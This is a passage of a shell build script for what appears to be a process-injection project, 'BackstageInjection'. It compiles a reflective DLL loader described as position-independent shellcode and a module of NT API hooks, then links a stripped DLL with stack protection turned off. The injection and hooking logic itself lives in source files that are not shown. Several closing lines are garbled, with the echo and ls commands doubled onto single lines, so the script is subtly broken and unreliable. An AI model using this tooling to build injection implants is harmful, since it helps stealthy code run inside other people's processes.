CFLAGS="$CFLAGS -DBackstageInjection_EXPORTS -DWIN_X64"
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
CFLAGS="$CFLAGS -fno-stack-protector"
CFLAGS="$CFLAGS -I$SRC_DIR"
if [ -n "${MINHOOK_INC:-}" ]; then
CFLAGS="$CFLAGS $MINHOOK_INC"
fi
# ReflectiveLoader is position-independent shellcode: strip .eh_frame but keep .pdata
LOADER_CFLAGS="$CFLAGS -fno-asynchronous-unwind-tables"
echo "Compiling ReflectiveLoader.c ..."
"$CC" -c $LOADER_CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c"
echo "Compiling ReflectiveDll.c ..."
"$CC" -c $CFLAGS -o "$SRC_DIR/ReflectiveDll.o" "$SRC_DIR/ReflectiveDll.c"
echo "Compiling NtApiHooks.c ..."
"$CC" -c $CFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/NtApiHooks.o" "$SRC_DIR/NtApiHooks.c"
echo "Linking $DLL_NAME ..."
LINK_OBJS="$SRC_DIR/ReflectiveLoader.o $SRC_DIR/ReflectiveDll.o $SRC_DIR/NtApiHooks.o"
if [ -n "${MINHOOK_OBJS:-}" ]; then
LINK_OBJS="$LINK_OBJS $MINHOOK_OBJS"
fi
LINK_LIBS="-lkernel32 -luser32 -ladvapi32 -lntdll"
if [ -n "${MINHOOK_LIB:-}" ] && [ -f "${MINHOOK_LIB}" ]; then
LINK_LIBS="$LINK_LIBS $MINHOOK_LIB"
fi
"$CC" -shared -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \
-Wl,--entry,DllMain \
-Wl,--disable-runtime-pseudo-reloc \
-fno-stack-protector \
-s
echo "Built: $OUT_DIR/$DLL_NAME" echo "Built: $OUT_DIR/$DLL_NAME"
ls -la "$OUT_DIR/$DLL_NAME" ls -la "$OUT_DIR/$DLL_NAME"
# Clean up object files
rm -f "$SRC_DIR"/*.o
if [ -d "$MINHOOK_DIR" ]; then
find "$MINHOOK_DIR" -name '*.o' -delete
fi
echo "Done." echo "Done."